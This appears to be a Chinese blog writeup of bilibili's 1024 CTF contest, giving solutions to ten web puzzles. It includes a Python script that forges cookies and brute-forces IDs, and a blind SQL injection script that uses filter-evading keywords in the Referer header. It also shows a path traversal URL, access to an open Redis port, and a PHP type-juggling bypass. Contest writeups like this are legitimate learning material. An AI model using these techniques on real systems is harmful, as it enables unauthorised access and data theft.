新城旧梦


一个人 一座城 一生梦

首要目标:活到高考

X 天 X 时 X 分 X 秒

bilibili首届1024挑战赛writeup

关于bilibili首届1024挑战赛的一些记录(解题方法和一些趣事)

各题主要思路

  • 1 F12
  • 2 修改UA
  • 3 猜账号密码 (然后有些人直接拿脚本爆破半天
  • 4 把cookie role值改成Administrator的md5
  • 5 uid暴力破解
  • 6 SQL注入(本来还以为是发邮件,后面会写到
  • 7 文件任意读取
  • 8 redis
  • 9 ???
  • 10 目录扫描test.php

详细记录

第一题

F12打开控制台,然后元素那边直接就看得到

第二题

F12打开控制台,UA改成bilibili Security Browser即可

第三题

猜密码,账号为admin,密码 bilibili(没想到这么简单,当时有人爆破半天

第四题

流量器安装个editthiscookie,把cookie的role值改为Administrator的32为小写md5

第五题

查看源码发现有uid,打开后一直+1进行暴力破解
或者使用程序进行暴力破解(点此下载)

前五题一键脚本见此

转载自知乎
链接:https://www.zhihu.com/question/427113420/answer/1540793482
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

import requests
import json

def get_1():
    headers = {
        'User-Agent': 'bilibili Security Browser',
        'Cookie': 'session =  ' + session + ';role=ee11cbb19052e40b07aac0ca060c23ee'
    }
    response = requests.get('http://45.113.201.36/api/admin', headers=headers).json()
    print('第1题答案是:', response['data'])

def get_2():
    headers = {
        'User-Agent': 'bilibili Security Browser',
        'Cookie': 'session = ' + session + ';role=ee11cbb19052e40b07aac0ca060c23ee'
    }
    response = requests.get('http://45.113.201.36/api/ctf/2', headers=headers).json()
    print('第2题答案是:', response['data'])

def get_3():
    headers = {
        'User-Agent': 'bilibili Security Browser',
        'Cookie': 'session=' + session + '; role=ee11cbb19052e40b07aac0ca060c23ee',
        'Content-Type': 'application/json'
    }
    data = {
        "username": "admin",
        "passwd": "bilibili"
    }
    response = requests.post('http://45.113.201.36/api/ctf/3', headers=headers, data=json.dumps(data)).json()
    print('第3题答案是:', response['data'])

def get_4():
    headers ={
        'User-Agent': 'bilibili Security Browser',
        'Cookie': 'session = ' + session + ';role=7b7bc2512ee1fedcd76bdc68926d4f7b'
    }
    response = requests.get('http://45.113.201.36/api/ctf/4', headers=headers).json()
    print('第4题答案是:', response['data'])

def get_5():
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0',
        'Cookie': 'session=' + session + '; role=ee11cbb19052e40b07aac0ca060c23ee',
        'Referer': 'http://45.113.201.36/user.html'
    }
    for i in range(100336850, 100336980):
        response = requests.get('http://45.113.201.36/api/ctf/5?uid=' + str(i), headers=headers).json() #100336973
        if response['data'] != '':
            print('第5题答案是:', response['data'])
if __name__ == '__main__':
    session = input('填入你的session:')
    get_1()
    get_2()
    get_3()
    get_4()
    get_5()

第六题

题目结束亦是开始猜到end.php然后整出第10题flag
后来github https://github.com/interesting-1024/end/issues/250 这里有大佬说可能是跟邮件有关,因为25开着,然后就把这个表单复制到了第三题,然后执行

 $(document).ready(function () { $('#form').ffform({ animation: 'fade', submitButton: '#submit', validationIndicator: '#validation', errorIndicator: '#error', successIndicator: '#success', 'fields': [{ 'id': 'name', required: true, requiredMsg: 'Name is required', type: 'alpha', validate: true, msg: 'Invalid Name' }, { 'id': 'message', required: false, type: 'text', validate: false, msg: ''}] });});

让邮件插件跑起来,但是少email.php, 然后我就猜single.php是email.php,还下载抓包软件改包,结果11点有大佬说是sql注入。。。
注入脚本如下

转载自github https://github.com/interesting-1024/end/issues/311 榜一的writeup 
import requests
import time
import sys

URL = "http://45.113.201.36/blog/single.php?id=1"
payload = "http://45.113.201.36/' oorr IF(ascii(substr((%s),%s,1))=%s,1,0)#"

query = "selselectect hex(flag) from flag limit 1"
rtn = ""
for m in range(1, 40):
    for n in '!0123456789ABCDEF?':
        n = ord(n)
        rps = requests.get(URL, headers={"Referer": payload % (query, m, n)})
        if rps.status_code == 503:
            while rps.status_code == 503:
                rps = requests.get(URL, headers={"Referer": payload % (query, m, n)})

        if 'admin' in rps.text:
            if n == ord('!'):
                exit(0)
            rtn += chr(n)

            try:
                print(rtn.decode('hex'))
            except Exception:
                pass
            break

        if n == ord('?'):
            exit(0)

第七题

在前几题的源码中发现
http://45.113.201.36/api/images?file=banner.png
文件读取api?
尝试http://45.113.201.36/api/images?file=flag.txt
404....
继续尝试,直到
http://45.113.201.36/api/images?file=../../../flag7.txt
这也藏得太深了吧

第八题

使用nmap扫描服务器发现6379开着
尝试使用redis链接
进去后发现存在flag8
读取后,提交,正确
(然后后来也不知道谁没事干往里面乱塞其他题目的错误flag,设置干扰项?

第九题(没人解出来)

参考大佬的题解
访问http://45.113.201.36/api/images?file=secret.txt

得到

SkRGWDZRZnJxelJQU21YME42MU04OWlwV1l0SlYvcEJRVEJPWWFYUXVHOGZBcnJ1bjNXS3hXRlpHd05uMjFjRw==

进行一次base64解密

JDFX6QfrqzRPSmX0N61M89ipWYtJV/pBQTBOYaXQuG8fArrun3WKxWFZGwNn21cG

使用AES128 ECB模式,秘钥是aes_key,zero_padding解密得到结果

flag9-8b522546-e52d83b8-5682e05c-c8cb237c

为什么知道秘钥是aes_key?

来自某位大佬的截图

将83b92f73637ab8056346bb6b8a3af6d9840e8bb0.jpg

与ae10c97f6de1129abb00b5c961394336.jpg进行一次diff比较

diff -a 83b92f73637ab8056346bb6b8a3af6d9840e8bb0.jpg ae10c97f6de1129abb00b5c961394336.jpg
会在一堆乱码之中得到提示

this is the key of secret.txt : aes_key

而ae10c97f6de1129abb00b5c961394336.jpg这个文件是怎么来的呢?

其实就是讲一开始得到的神秘代码串

SkRGWDZRZnJxelJQU21YME42MU04OWlwV1l0SlYvcEJRVEJPWWFYUXVHOGZBcnJ1bjNXS3hXRlpHd05uMjFjRw==

进行一次MD5加密即可得到文件名ae10c97f6de1129abb00b5c961394336.jpg

无与伦比的脑洞啊

第十题

最后一题猜end.php
打开返回 这里啥都没有 emm
使用扫描工具发现test.php
打开发现一堆jsfuck
console执行后

var str1 = "\u7a0b\u5e8f\u5458\u6700\u591a\u7684\u5730\u65b9";
var str2 = "bilibili1024havefun";
console.log()

解密后第一题为:程序员最多的地方
猜到github
在github搜索bilibili1024havefun
发现仓库interesting-1024/end,获得end.php的源码

<?php

//filename end.php

$bilibili = "bilibili1024havefun";

$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);

if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
    $content = file_get_contents($_GET['url']);

    //文件路径猜解
    if (false){
        echo "还差一点点啦~";
    }else{
        echo $flag;
    }
}else{
    echo "你想要的不在这儿~";
}
?>

根据php源码得知,end.php需要传输两个路径参数id与url
!is_numeric($_GET['id'])要求传入的值不是数字;
and $reg !== 1 and $str === 1要求传入的值能被intval解析为1
故构建路径参数id[]=1
根据前面所得的flag.txt的地址,构建URI为/blog/end.php?id[]=1&url=/flag.txt
拼接URL访问获得一张图片
用记事本打开,发现flag10

总结

本次bilibili挑战赛堪称脑洞大赛,其中679题最难,当时有人还做出了爆破flag的脚本,甚至连分布式都搞出来了,我也是服了,其他没啥可说的了

文章部分参考自

https://www.smartfox.cc/archives/4169/
github仓库(已删除)

附 github仓库部分截图


点赞

分割线QAQ~~~~~~~~~~~~~~~~~~~~~~~

旧版评论(请先登录):

发表回复

电子邮件地址不会被公开。必填项已用 * 标注